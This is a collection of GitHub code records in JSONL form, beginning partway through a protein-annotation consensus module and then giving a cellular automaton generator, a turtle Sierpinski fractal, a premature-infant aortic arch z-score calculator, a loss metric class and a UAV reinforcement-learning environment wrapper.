2 * (average_hit_coverage) ** 2\n        elif self.best_combo_formula == 12:\n            combo_score = average_value * sources_score * (combination_coverage) ** 2\n\n        return combo_score\n\n    def get_best_hits_Consensus(self, query_hits, query_length):\n        cython_hits, conversion_dict = self.query_hits_to_cython_Consensus(query_hits)\n        cython_possible_combos = get_non_overlapping_hits(cython_hits, time_limit=self.time_limit)\n        # sometimes this calculation is not feasible (when we have too many small hits and the query sequence is too long, the calculation of conbinations would take forever)\n        if not cython_possible_combos: return None\n        best_combo_score = 0\n        best_combo = None\n        min_val, max_val = self.get_min_max_dfs(cython_possible_combos, conversion_dict, sorting_class='consensus')\n        for len_combo in cython_possible_combos:\n            if len_combo:\n                for cython_combo in cython_possible_combos[len_combo]:\n                    combo = self.cython_to_query_hits(cython_combo, conversion_dict)\n                    # we benefit the combo which intersect with other sources\n                    ref_sources = self.get_intersecting_sources(combo, query_hits)\n                    combo_score = self.get_combo_score_Consensus(combo, query_length, min_val, max_val, ref_sources)\n                    if best_combo is None:\n                        best_combo = combo\n                        best_combo_score = combo_score\n                    elif combo_score > best_combo_score:\n                        best_combo_score = combo_score\n                        best_combo = combo\n        return best_combo\n\n    def is_overlap_Consensus(self, temp_queries, current_query):\n        # the coordinates here already take into account the overlap value, so even if the y set is small or empty, it doesnt matter\n        if not temp_queries or not current_query:\n            return False\n        y_start, y_end = recalculate_coordinates(current_query[2]['query_start'],\n                                                 current_query[2]['query_end'],\n                                                 self.overlap_value)\n        y = set(range(y_start, y_end))\n        for t in temp_queries:\n            if t[1] == current_query[1]:\n                return True\n            x_start, x_end = recalculate_coordinates(t[2]['query_start'],\n                                                     t[2]['query_end'],\n                                                     self.overlap_value)\n            x = set(range(x_start, x_end))\n            res = x.intersection(y)\n            if res:\n                return True\n        return False\n\n    # @timeit_function\n    def expand_best_combination(self, best_hits, query_dict):\n        hits_merged = set()\n        ref_files_consensus = []\n        ref_names_consensus = []\n        for best_hit in best_hits:\n            best_hit_file, best_hit_name, best_hit_info = best_hit\n            hits_merged.add(best_hit_name)\n            ref_files_consensus.append(best_hit_file)\n            ref_names_consensus.append(best_hit_name)\n            temp_best_hit_info = dict(best_hit_info)\n            first_check = False\n            # iterations might change already iterated over best_hit_info, this way we check if there is any info added, if so, we repeat the cycle one more otherwise we return\n            while temp_best_hit_info != best_hit_info or not first_check:\n                for ref_file in query_dict:\n                    for hit_to_test in query_dict[ref_file]:\n                        if self.is_hit_match(query_dict[ref_file][hit_to_test], hit_to_test, ref_file, best_hit_info,\n                                             best_hit_name, best_hit_file):\n                            self.add_to_hit(query_dict[ref_file][hit_to_test], best_hit_info)\n                            hits_merged.add(hit_to_test)\n                            ref_files_consensus.append(ref_file)\n                            ref_names_consensus.append(hit_to_test)\n                first_check = True\n                temp_best_hit_info = dict(best_hit_info)\n        # checking how many hits we managed to merge out of all the hits - coverage_consensus\n        total_hits = 0\n        for ref_file in query_dict:\n            for i in query_dict[ref_file]:\n                total_hits += 1\n        return str(len(hits_merged)), str(total_hits), ref_files_consensus, ref_names_consensus\n\n    def is_nlp_match(self, hit1_info_description, hit2_info_description):\n        if self.no_unifunc:\n            return False\n        for hit1_d in hit1_info_description:\n            for hit2_d in hit2_info_description:\n                score = self.get_similarity_score(hit1_d, hit2_d, only_return=True, verbose=False)\n                if score > self.nlp_threshold:\n                    return True\n        return False\n\n    # eggnog is not specific enough with the go identifiers, so if there is more than one, we dont use it for the consensus\n    def remove_unspecific_identifiers(self, identifiers, specificity_threshold=10):\n        res = set()\n        dict_counter = {}\n        for i in identifiers:\n            link_type = i.split(':')[0]\n            if link_type not in dict_counter: dict_counter[link_type] = 0\n            dict_counter[link_type] += 1\n        for i in identifiers:\n            link_type = i.split(':')[0]\n            if dict_counter[link_type] <= specificity_threshold:\n                res.add(i)\n        return res\n\n    def is_overlap_coordinates(self, hit1, hit2):\n        if hit1[1] - hit1[0] < hit2[1] - hit2[0]:\n            smaller_hit = hit1\n        else:\n            smaller_hit = hit2\n        min_len = smaller_hit[1] - smaller_hit[0] + 1\n        hit1_set = set(range(hit1[0], hit1[1] + 1))\n        hit2_set = set(range(hit2[0], hit2[1] + 1))\n        intersection_hits = hit1_set.intersection(hit2_set)\n        if len(intersection_hits) / min_len > self.minimum_consensus_overlap:\n            return True\n        return False\n\n    # this makes mantis more efficient since it saves matches in memory, however it also makes it more ram intensive\n    def is_hit_match(self, hit1_info, hit1_name, hit1_source, hit2_info, hit2_name, hit2_source):\n        if hit1_source == hit2_source and hit1_name == hit2_name:\n            return False\n        if self.no_consensus_expansion:\n            return False\n        # cleaning up memory\n        if float(psutil.virtual_memory().percent) > 95: self.query_match_hits = {}\n        # to avoid adding duplicate entries\n        sorted_hits = sorted([hit1_source, hit2_source])\n        if hit1_source == sorted_hits[0]:\n            first_hit_source = hit1_source\n            first_hit_name = hit1_name\n            second_hit_source = hit2_source\n            second_hit_name = hit2_name\n        else:\n            first_hit_source = hit2_source\n            first_hit_name = hit2_name\n            second_hit_source = hit1_source\n            second_hit_name = hit1_name\n        dict_key = first_hit_source + '_' + first_hit_name + '__' + second_hit_source + '_' + second_hit_name\n        sufficient_coord_overlap = self.is_overlap_coordinates([hit1_info['query_start'], hit1_info['query_end']],\n                                                               [hit2_info['query_start'], hit2_info['query_end']])\n        if dict_key in self.query_match_hits:\n            if sufficient_coord_overlap:\n                return self.query_match_hits[dict_key]\n            else:\n                return False\n        # now to actually check\n        hit1_info_description = hit1_info['temp_description']\n        hit1_info_identifiers = hit1_info['temp_identifiers']\n        hit2_info_description = hit2_info['temp_description']\n        hit2_info_identifiers = hit2_info['temp_identifiers']\n        temp_hit1_info_identifiers = self.remove_unspecific_identifiers(hit1_info_identifiers)\n        temp_hit2_info_identifiers = self.remove_unspecific_identifiers(hit2_info_identifiers)\n\n        if sufficient_coord_overlap:\n            if temp_hit1_info_identifiers.intersection(temp_hit2_info_identifiers):\n                self.query_match_hits[dict_key] = True\n                return True\n            elif self.is_nlp_match(hit1_info_description, hit2_info_description):\n                self.query_match_hits[dict_key] = True\n                return True\n            else:\n                self.query_match_hits[dict_key] = False\n                return False\n        else:\n            return False\n\n    def add_to_hit(self, hit_to_test_info, best_hit_info):\n        best_hit_info['identifiers'].update(hit_to_test_info['identifiers'])\n        best_hit_info['description'].update(hit_to_test_info['description'])\n\n    # to remove bad descriptions\n    def remove_trash_descriptions(self, all_descriptions):\n        res = set()\n        for d in all_descriptions:\n            current_d = d.strip().lower()\n            if d.strip().lower() not in [\n                'enzyme',\n                'domain',\n                'protein',\n                'unknown function',\n                'domain of unknown function',\n                'protein of unknown function',\n                'uncharacterised protein family',\n                'unknown protein family',\n                'uncharacterized protein',\n                'uncharacterised protein',\n                'uncharacterised conserved protein',\n                'uncharacterized conserved protein',\n                'hypothetical protein',\n            ]:\n                if re.search('(protein|domain|domian|family|repeat|short repeats|region) (of|with) (unknown|unknwon) function(\\s\\(?[dp]uf\\d{2,}\\)?)?', current_d):\n                    pass\n                else:\n                    res.add(d)\n        return res\n\n    # to remove redundant descriptions\n    def remove_redundant_descriptions(self, all_descriptions):\n        res = set()\n        already_added = set()\n        unspecific_tokens = ['enzyme', 'protein', 'domain']\n        all_descriptions = sorted(all_descriptions)\n        for d in all_descriptions:\n            test = d.lower()\n            for p in set(punctuation):\n                test = test.replace(p, '')\n            test = test.replace('\\'', '')\n            test = test.replace('\\\"', '')\n            test = test.strip()\n            test = test.split(' ')\n            test = [i.strip() for i in test if i not in unspecific_tokens]\n            test = ' '.join(test)\n\n            if test not in already_added:\n                res.add(d)\n                already_added.add(test)\n        res = sorted(res)\n        return res\n\n    def sort_ref_files_and_hits(self, ref_files_consensus, ref_names_consensus):\n        res = {}\n        for i in range(len(ref_files_consensus)):\n            r_file = ref_files_consensus[i]\n            if r_file not in res: res[r_file] = set()\n            res[r_file].add(ref_names_consensus[i])\n        ref_files = []\n        ref_hits = []\n\n        for r_file in sorted(res):\n            for r_hit in sorted(res[r_file]):\n                ref_files.append(r_file)\n                ref_hits.append(r_hit)\n\n        ref_files = ';'.join(ref_files)\n        ref_hits = ';'.join(ref_hits)\n        return ref_files, ref_hits\n\n    def generate_consensus_line(self, query, query_dict, is_essential, consensus_hits, total_hits, ref_files_consensus,\n                                ref_names_consensus):\n        ref_files, ref_hits = self.sort_ref_files_and_hits(ref_files_consensus, ref_names_consensus)\n        # consensus_coverage is a str with consensus sources/all sources, better as a str instead of float as its easier to understand\n        row_start = [query, ref_files, ref_hits, consensus_hits, total_hits, '|']\n        row_start = [str(i) for i in row_start]\n        all_descriptions = set()\n        all_identifiers = set()\n        for ref_file in ref_files_consensus:\n            for ref_hit_name in ref_names_consensus:\n                if ref_hit_name in query_dict[ref_file]:\n                    description = query_dict[ref_file][ref_hit_name]['description']\n                    identifiers = query_dict[ref_file][ref_hit_name]['identifiers']\n                    all_identifiers.update(identifiers)\n                    all_descriptions.update(description)\n        res = []\n        sorted_identifiers = sorted(all_identifiers)\n        for link in sorted_identifiers:\n            if 'enzyme_ec' in link:\n                if link not in res:\n                    res.append(link)\n        # so that description always comes in the end\n        for link in sorted_identifiers:\n            if 'kegg_map_lineage' not in link:\n                if link not in res:\n                    res.append(link)\n        for link in sorted_identifiers:\n            if 'kegg_map_lineage' in link:\n                if link not in res:\n                    res.append(link)\n        if is_essential:\n            res.append('is_essential_gene:True')\n        clean_descriptions = self.remove_redundant_descriptions(all_descriptions)\n        clean_descriptions = self.remove_trash_descriptions(clean_descriptions)\n        for link in clean_descriptions:\n            if 'description:' + link not in res:\n                res.append('description:' + link)\n        res = sorted(res)\n        res = row_start + res\n        return res\n\n    def generate_consensus_output(self, interpreted_annotation_tsv, consensus_annotation_tsv, stdout_file_path=None):\n        first_line = ['Query',\n                      'Ref_Files',\n                      'Ref_Hits',\n                      'Consensus_hits',\n                      'Total_hits',\n                      '|',\n                      'Links',\n                      ]\n        first_line = '\\t'.join(first_line)\n        output_file = open(consensus_annotation_tsv, 'w+')\n        output_file.write(first_line + '\\n')\n\n        gff_file = None\n        gff_file_path = consensus_annotation_tsv.replace('.tsv', '.gff')\n        if self.output_gff:\n            gff_file = open(gff_file_path, 'w+')\n            gff_file.write('##gff-version 3' + '\\n')\n\n        consensus_annotation = self.generate_consensus(interpreted_annotation_tsv, stdout_file_path=stdout_file_path)\n        if self.output_gff:\n            seq_regions = self.yield_seq_regions(interpreted_annotation_tsv)\n            for sr in seq_regions:\n                gff_file.write(sr)\n\n        for consensus_query, gff_lines in consensus_annotation:\n            line = '\\t'.join(consensus_query)\n            output_file.write(line + '\\n')\n            if self.output_gff:\n                for gff_l in gff_lines:\n                    gff_file.write(gff_l + '\\n')\n\n        if gff_file:\n            gff_file.close()\n        output_file.close()\n\n\nif __name__ == '__main__':\n    m = Consensus()\n","repo_name":"PedroMTQ/mantis","sub_path":"mantis/consensus.py","file_name":"consensus.py","file_ext":"py","file_size_in_byte":36872,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"60"}
+{"seq_id":"15529390301","text":"\r\n##################################################\r\n## Author: https://github.com/Umwelt32/QuickCode\r\n## Copyright: 2023\r\n## Cellural automata\r\n## References:\r\n##############\r\n##############\r\n##################################################\r\nimport os,sys,math,numpy,random,cv2\r\n\r\ngrid = None\r\n\r\ndef ca_set_random_seed(val):\r\n    random.seed(val)\r\n\r\ndef ca_random_int(v1,v2):\r\n    return int(random.randint(v1,v2))\r\n\r\ndef ca_random_01(r):\r\n    return 1 if (ca_random_int(0,100)<=int(r*100)) else 0\r\n\r\ndef ca_init(seed,r,w,h):\r\n    global grid\r\n    ca_set_random_seed(seed)\r\n    basic_grid = numpy.zeros(shape=(w,h), dtype=[('type', 'i4'), ('nb_value', 'i4'),('fl_value', 'i4')])\r\n    basic_grid[:,:]['type'] = numpy.array([ca_random_01(r if r<1.0 else 1.0) for x in range(h*w)]).reshape(w,h)\r\n    grid = basic_grid\r\n\r\ndef ca_calc_nb(x,y,m,type):\r\n    global grid\r\n    nb_value=0\r\n    for i in range(x-m,x+m+1):\r\n        for j in range(y-m,y+m+1):\r\n            if i==x and j==y:\r\n                continue\r\n            else:\r\n                try:\r\n                    if grid[i,j]['type']==type: nb_value=nb_value+1\r\n                except:\r\n                    continue\r\n    return nb_value\r\n\r\ndef ca_recal_nb_values(m):\r\n    global grid\r\n    for x in range(grid.shape[0]):\r\n        for y in range(grid.shape[1]):\r\n            grid[x,y]['nb_value']=ca_calc_nb(x,y,m,1)\r\n            grid[x,y]['fl_value']=ca_calc_nb(x,y,m,0)\r\n\r\ndef ca_recal_rocks(T):\r\n    global grid\r\n    for x in range(grid.shape[0]):\r\n        for y in range(grid.shape[1]):\r\n            grid[x,y]['type']=1 if grid[x,y]['nb_value']>=T else 0\r\n\r\ndef ca_recal_walls():\r\n    global grid\r\n    for x in range(grid.shape[0]):\r\n        for y in range(grid.shape[1]):\r\n            if grid[x,y]['fl_value']>0 and grid[x,y]['type']==1: grid[x,y]['type']=2\r\n\r\ndef ca_iterate_once(t,m):\r\n    global grid\r\n    ca_recal_nb_values(m)\r\n    ca_recal_rocks(t)\r\n\r\ndef ca_iterate(n,t,m):\r\n    global grid\r\n    for x in range(n):\r\n        ca_iterate_once(t,m)\r\n    ca_recal_walls()\r\n\r\ndef ca_save_grid_im(filename):\r\n    global grid\r\n    img = numpy.zeros(shape=(grid.shape[0],grid.shape[1]), dtype=numpy.uint8)\r\n    img[:,:]=(grid[:,:]['type']*255)/2\r\n    cv2.imwrite(filename, img)\r\n\r\nif __name__ == \"__main__\":\r\n    ca_init(128,0.75,256,256)\r\n    ca_iterate(16,16,2)\r\n    ca_save_grid_im('out.bmp')\r\n    exit(0x1)\r\n","repo_name":"Umwelt32/QuickCode","sub_path":"Algos/Python/utils/pyCA.py","file_name":"pyCA.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"69997681790","text":"import turtle\n\ncall = 0\n\n\ndef make_sierpinski(levels=2):\n    def draw(t, color, p):\n        t.fillcolor(color)\n        t.up()\n        t.goto(p[0][0], p[0][1])\n        t.down()\n        t.begin_fill()\n        t.goto(p[1][0], p[1][1])\n        t.goto(p[2][0], p[2][1])\n        t.goto(p[0][0], p[0][1])\n        t.end_fill()\n\n    def mid(p1, p2):\n        return ((p1[0] + p2[0]) / 2, (p1[1] + p2[1]) / 2)\n\n    def sierpinski(t, order, p):\n        global call\n        call += 1\n        print(\"\\ncall is\", call)\n        colormap = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"violet\"]\n        print(\"  draw\", colormap[order], \"at\", p)\n        draw(t, colormap[order], p)\n        print(\"     outer call done, order =\", order)\n        if order > 0:\n            sierpinski(t, order - 1, [p[0], mid(p[0], p[1]), mid(p[0], p[2])])\n            print(\"       1st recursive call done, order =\", order)\n            sierpinski(t, order - 1, [p[1], mid(p[0], p[1]), mid(p[1], p[2])])\n            print(\"       2nd recursive call done, order =\", order)\n            sierpinski(t, order - 1, [p[2], mid(p[2], p[1]), mid(p[0], p[2])])\n            print(\"       3rd recursive call done, order =\", order)\n\n    t = turtle.Turtle()\n    t.speed()\n    wn = turtle.Screen()\n    wn.bgcolor(\"black\")\n    p = [[-500, -400], [0, 500], [500, -400]]\n    sierpinski(t, levels, p)\n    wn.exitonclick()\n\n\ndef main():\n    make_sierpinski(2)\n\n\nmain()\n","repo_name":"DSAatUSU/ChatGPT-promises-and-pitfalls","sub_path":"humanCode/visual-graphical-drawing/fractals/displays-a-fractal-triangle.py","file_name":"displays-a-fractal-triangle.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"13929445628","text":"#  !/usr/bin/env python\n\nfrom __future__ import division\nimport math\n\nrequired = ['wt']\n\nconstraints = {'age': [0, '6d'], 'wt': [0, '2kg']}\nomitFromSites = True  # specific for premies\n\nname = 'Dijkema et al., JASE 2017'\ndescription = 'z-scores of the aortic arch for premature babies'\n\ndetail = '''Weight-adjusted z-scores of the aortic arch in premature babies (&le;2kg)\n\n>The normative data can be used in diagnosis and decision making involving aortic arch pathology in premature infants.\n'''\n\ncritique = {\n    'model': 'nonlinear relationship with weight',\n    'subjects': 385,\n    'heterosc': False,\n    'residual_assoc': False,\n    'residual_heterosc': False,\n    'distribution': True,\n    'source': 'source article'\n}\nyear = '2017'\ncitation = {\n    'title': 'Normative Values of Aortic Arch Structures in Premature Infants.',\n    'authors': 'Dijkema EJ, Molenschot MC, Breur JM, de Vries WB, Slieker MG.',\n    'journal': 'J Am Soc Echocardiogr. 2017 Jan 27.',\n    'url': 'http://www.ncbi.nlm.nih.gov/pubmed/28139441'\n}\n\n\nclass Base(object):\n    '''\n    !!!UPDATE 7/26/2017!!!\n    A correction was published in the July 2017 JASE that corrects the previously published and erroneous standard error\n    data, so I am reverting back to the original type of calculations ...\n\n    This is the base class for the Dijkema premie arch data.\n    I had to change the design from regression-based to table/lookup based\n    due to the fact that the prediction equation rarely predicted a mean that was consistent with\n    either the table or chart; the suggest use of the 'standard error' in place of the sd for\n     z-scoreing was way off. Published sd's from table data was usually around 0.6-0.8 mm; the published\n     se's were 0.04-ish... way too small.\n    '''\n\n    def __init__(self, data, pt, limit):\n        self.source = name\n        self.citation = citation\n        self.refName = 'dijkema_jase_2017'\n        self.siteName = data['name']\n        self.wt = float(pt.wt) * 1000 #convert kg to g\n        self.limit = limit\n        self.data = data\n        self.score = float(getattr(pt, data['name']))\n        # chart stuff\n        self.chartData = False\n        # self.bsaData = [x * 0.1 for x in range(1, 7)] #bsa range is 0.12-0.67\n        # self.chartXAxisLabel = 'BSA'\n        # self.myData = ( [[self.bsa, self.score]] )#plot data\n        self.constraints = constraints\n        self.critique = critique\n\n    def mean(self):\n        wt = self.wt\n        int = self.data['intercept']\n        b1 = self.data['b1']\n        b2 = self.data['b2']\n        b3 = self.data['b3']\n        return int + ( b1 * wt ) + ( b2 * math.pow( wt, 2 ) ) + ( b3 * math.pow( wt, 3 ) )\n\n\n    def sd(self):\n        return self.data['se']\n\n\n    def zscore(self):\n        return ( self.score - self.mean() ) / self.sd()\n\n    def uln(self):\n        z = self.limit\n        return self.mean() + z * self.sd()\n\n    def lln(self):\n        z = self.limit\n        return self.mean() - z * self.sd()\n\n    # def getIndex(self):\n    #     wt = self.wt\n    #     if wt < 1000:\n    #         return 0\n    #     if wt >= 1000 and wt < 1250:\n    #         return 1\n    #     if wt >= 1250 and wt < 1500:\n    #         return 2\n    #     if wt >= 1500 and wt < 1750:\n    #         return 3\n    #     else:\n    #         return 4\n\naao = { \"name\": \"aao\", \"intercept\": 2.332, \"b1\": 0.004, \"b2\": -1.258e-6, \"b3\": 2.111e-10, \"se\": 0.62,\n        \"mean\": [4.7, 5.2, 5.5, 5.7, 6.3],\n        \"sd\": [0.6, 0.8, 0.6, 0.7, 0.7]\n        }\n\ndist_arch = { \"name\": \"dist_arch\", \"intercept\": 3.910, \"b1\": -0.001, \"b2\": 1.087e-6, \"b3\": -1.321e-10, \"se\": 0.61,\n              \"mean\": [3.7, 3.9, 4.1, 4.3, 4.6],\n              \"sd\": [0.6, 0.5, 0.5, 0.6, 0.8]\n              }\n\nisthmus = { \"name\": \"isthmus\", \"intercept\": 2.994, \"b1\": -0.001, \"b2\": 1.360e-6, \"b3\": -2.8381e-10, \"se\": 0.79,\n            \"mean\": [2.8, 2.9, 3.1, 3.1, 3.6],\n            \"sd\": [0.7, 0.7, 0.9, 0.8, 1.0]\n            }\ndao = { \"name\": \"dao\", \"intercept\": 4.131, \"b1\": -0.002, \"b2\": 2.799e-6, \"b3\": -7.4607e-10, \"se\": 0.78,\n        \"mean\": [3.8, 3.8, 4.1, 4.3, 4.9],\n        \"sd\": [0.6, 0.6, 0.8, 1.0, 1.2]\n        }\n\nsites = [\n\n    'aao',\n    'dist_arch',\n    'isthmus',\n    'dao'\n]\n","repo_name":"parameterz/parameterz-main","sub_path":"calcs/echo/dijkema_jase_2017.py","file_name":"dijkema_jase_2017.py","file_ext":"py","file_size_in_byte":4200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43352617294","text":"from cyy_torch_toolbox.ml_type import DatasetType\n\nfrom .metric import Metric\n\n\nclass LossMetric(Metric):\n    def _after_batch(self, epoch, executor, result, **kwargs) -> None:\n        normalized_batch_loss = result[\"normalized_batch_loss\"].clone().detach()\n        epoch_loss = self.get_epoch_metric(epoch, \"loss\")\n        if epoch_loss is None:\n            epoch_loss = normalized_batch_loss\n        else:\n            epoch_loss += normalized_batch_loss\n        self._set_epoch_metric(epoch, \"loss\", epoch_loss)\n        if executor.dataset_collection.dataset_type == DatasetType.Text:\n            self._set_epoch_metric(\n                epoch, \"perplexity\", epoch_loss.exp().clone().detach()\n            )\n","repo_name":"cyyever/torch_toolbox","sub_path":"cyy_torch_toolbox/metrics/loss_metric.py","file_name":"loss_metric.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"40811871856","text":"from environment_new.environment_new_uav2_charge2.log import *\nfrom environment_new.environment_new_uav2_charge2.env import Env as DenseEnv\nfrom sparse_environment.sparse_environment_uav2_charge2.env import Env as SparseEnv\nfrom common_setting.path_setting import PATH\nfrom util.utils import *\n\nroot_path = PATH.root_path\n\n\nclass Make_Env(object):\n    def __init__(self, num_process, device, num_steps, local_time, env_index, use_sparse_env):\n        self.num_process = num_process\n        self.util = Util(device)\n        self.time = str(local_time)\n        if use_sparse_env:\n            self.env_list = [SparseEnv(Log(env_index, num_steps, root_path, self.time))]\n        else:\n            self.env_list = [DenseEnv(Log(env_index, num_steps, root_path, self.time))]\n        self.num_steps = num_steps\n\n        self.env_action = [[] for i in range(num_process)]\n        self.env_cur_energy = [[] for i in range(num_process)]\n\n        self.env_data_collection = [[] for i in range(num_process)]\n        self.env_fairness = [[] for i in range(num_process)]\n        self.env_efficiency = [[] for i in range(num_process)]\n        self.env_energy_consumption = [[] for i in range(num_process)]\n        for i, env in enumerate(self.env_list):\n            self.env_cur_energy[i].append([float(x) for x in list(env.cur_uav_energy)])\n            self.env_data_collection[i].append(env.data_collection_ratio())\n            self.env_fairness[i].append(env.geographical_fairness())\n            self.env_efficiency[i].append(env.energy_efficiency_1())\n            self.env_energy_consumption[i].append(env.energy_consumption_ratio())\n\n    def reset(self):\n        self.step_counter = 0\n        self.totol_r = np.zeros(shape=[self.num_process], dtype=np.float32)\n        obs = []\n        uav_pos = []\n        info = {}\n        for env in self.env_list:\n            ob, _, pos = env.reset()  # [80,80,3]\n            ob = ob.transpose(2, 0, 1)  # [3,80,80]\n            ob = np.expand_dims(ob, axis=0)  # [1,3,80,80]\n            obs.append(self.util.to_tensor(ob))\n            pos = np.ceil(pos / 0.8)\n            # todo: 5 change new pos\n            new_pos = pos[:, 0] * 21 + pos[:, 1]\n            uav_pos.append(self.util.to_tensor(new_pos).int())\n\n        obs = torch.cat(obs, dim=0)  # [num,3,80,80]\n        uav_pos = torch.cat(uav_pos, dim=0)\n        info['uav_position'] = uav_pos\n        return obs, info\n\n    def render(self):\n        self.env_list[0].render()\n\n    def get_uav_pos(self):\n        pos = []\n        for env in self.env_list:\n            pos.append(env.get_uav_pos())\n        return pos\n\n    def imagine_step(self, action, current_step=None):\n        obs = []\n        reward = []\n        for i, env in enumerate(self.env_list):\n            # action [K,3]\n            ob, r, d, _, _, _ = env.step(action[i], current_step)  # [80,80,3]\n            ob = ob.transpose(2, 0, 1)  # [3,80,80]\n            ob = np.expand_dims(ob, axis=0, dtype=np.float32)  # [1,3,80,80]\n            obs.append(self.util.to_tensor(ob))\n            r = np.array([r], dtype=np.float32)  # [1]\n            r = np.expand_dims(r, axis=0)  # [1,1]\n            reward.append(self.util.to_tensor(r))\n\n        obs = torch.cat(obs, dim=0)  # [num,3,80,80]\n        reward = torch.cat(reward, dim=0)  # [num,1]\n        return obs, reward\n\n    def step(self, action, current_step=None):\n\n        self.step_counter += 1\n        if self.step_counter <= self.num_steps:\n            done = [False for i in range(self.num_process)]\n        else:\n            done = [True for i in range(self.num_process)]\n\n        obs = []\n        reward = []\n        info = {}\n        uav_pos = []\n\n        for i, env in enumerate(self.env_list):\n            # action [K,3]\n            ob, r, d, _, pos, _ = env.step(action[i], current_step)  # [80,80,3]\n\n            self.env_action[i].append([float(x) for x in list(np.reshape(action[i], [-1]))])\n            self.env_cur_energy[i].append([float(x) for x in list(env.cur_uav_energy)])\n            self.env_data_collection[i].append(env.data_collection_ratio())\n            self.env_fairness[i].append(env.geographical_fairness())\n            self.env_efficiency[i].append(env.energy_efficiency_1())\n            self.env_energy_consumption[i].append(env.energy_consumption_ratio())\n\n            self.totol_r[i] += r\n\n            ob = ob.transpose(2, 0, 1)  # [3,80,80]\n            ob = np.expand_dims(ob, axis=0)  # [1,3,80,80]\n            obs.append(self.util.to_tensor(ob))\n\n            pos = np.ceil(pos / 0.8)\n            new_pos = pos[:, 0] * 21 + pos[:, 1]\n            uav_pos.append(self.util.to_tensor(new_pos).int())\n\n            r = np.array([r], dtype=np.float32)  # [1]\n            r = np.expand_dims(r, axis=0)  # [1,1]\n            reward.append(self.util.to_tensor(r))\n        obs = torch.cat(obs, dim=0)  # [num,3,80,80]\n        reward = torch.cat(reward, dim=0)  # [num,1]\n        uav_pos = torch.cat(uav_pos, dim=0)  # [num, uav_num, 2]\n\n        info['mean_episod_reward'] = np.mean(self.totol_r)\n        info['max_episod_reward'] = np.max(self.totol_r)\n        info['min_episod_reward'] = np.min(self.totol_r)\n        info['uav_position'] = uav_pos\n\n        return obs, reward, done, info\n\n    def draw_path(self, step, plot=False):\n        for env in self.env_list:\n            env.log.draw_path(env, step, plot)\n\n    def test_summary(self):\n        summary_txt_path = self.log_path + '/' + 'test_summary.txt'\n        f = open(summary_txt_path, 'w')\n        f.writelines('mean effi is : ' + str(np.mean(self.mean_efficiency)) + '\\n')\n        f.writelines('mean d_c is : ' + str(np.mean(self.mean_data_collection_ratio)) + '\\n')\n        f.writelines('mean f is : ' + str(np.mean(self.mean_fairness)) + '\\n')\n        f.writelines('mean e_c is : ' + str(np.mean(self.mean_energy_consumption_ratio)))\n        f.close()\n\n        summary_npz_path = self.log_path + '/' + 'test_summary.npz'\n        np.savez(summary_npz_path, self.efficiency, self.data_collection_ratio, self.fairness,\n                 self.energy_consumption_ratio)\n\n        self.env_uav_trace = [[[[] for _ in range(len(self.env_list[0].uav_trace))] for _ in\n                               range(self.num_steps + 1)] for i in range(self.num_process)]\n        for i, env in enumerate(self.env_list):\n            for j in range(self.num_steps + 1):\n                for s in range(len(env.uav_trace)):\n                    if j < len(env.uav_trace[s]):\n                        self.env_uav_trace[i][j][s].append([float(x) for x in list(env.uav_trace[s][j])])\n                    else:\n                        self.env_uav_trace[i][j][s].append(\n                            [float(x) for x in list(env.uav_trace[s][len(env.uav_trace[s]) - 1])])\n        json_dict = {}\n        json_dict['action'] = self.env_action\n        json_dict['trace'] = self.env_uav_trace\n        json_dict['cur_energy'] = self.env_cur_energy\n        json_dict['d_c'] = self.env_data_collection\n        json_dict['f'] = self.env_fairness\n        json_dict['e_c'] = self.env_energy_consumption\n        json_dict['effi'] = self.env_efficiency\n\n        import json\n\n        json_str = json.dumps(json_dict)\n        # print(json_str)\n        # print(type(json_str))\n\n        new_dict = json.loads(json_str)\n\n        # print(new_dict)\n        # print(type(new_dict))\n\n        with open(self.log_path + '/' + 'record.json', \"w\") as f:\n            json.dump(new_dict, f)\n\n            print(\"加载入文件完成...\")\n\n    @property\n    def log_path(self):\n        return self.env_list[0].log.full_path\n\n    @property\n    def observ_shape(self):\n        return self.env_list[0].observ.transpose(2, 0, 1).shape\n\n    @property\n    def action_space(self):\n        return self.env_list[0].uav_num * 3\n\n    @property\n    def num_of_uav(self):\n        return self.env_list[0].uav_num\n\n    @property\n    def mean_data_collection_ratio(self):\n        return np.mean([env.data_collection_ratio() for env in self.env_list])\n\n    @property\n    def mean_fairness(self):\n        return np.mean([env.geographical_fairness() for env in self.env_list])\n\n    @property\n    def mean_energy_consumption_ratio(self):\n        return np.mean([env.energy_consumption_ratio() for env in self.env_list])\n\n    @property\n    def efficiency1(self):\n        return np.array([env.energy_efficiency_1() for env in self.env_list])\n\n    @property\n    def data_collection_ratio(self):\n        return np.array([env.data_collection_ratio() for env in self.env_list])\n\n    @property\n    def fairness(self):\n        return np.array([env.geographical_fairness() for env in self.env_list])\n\n    @property\n    def energy_consumption_ratio(self):\n        return np.array([env.energy_consumption_ratio() for env in self.env_list])\n\n    @property\n    def data_coverage(self):\n        return np.array([env.get_data_coverage() for env in self.env_list])\n","repo_name":"BIT-MCS/DRL-CEWS","sub_path":"uav2_charge2/exper_dppo_curiosity/envs.py","file_name":"envs.py","file_ext":"py","file_size_in_byte":8850,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"60"}
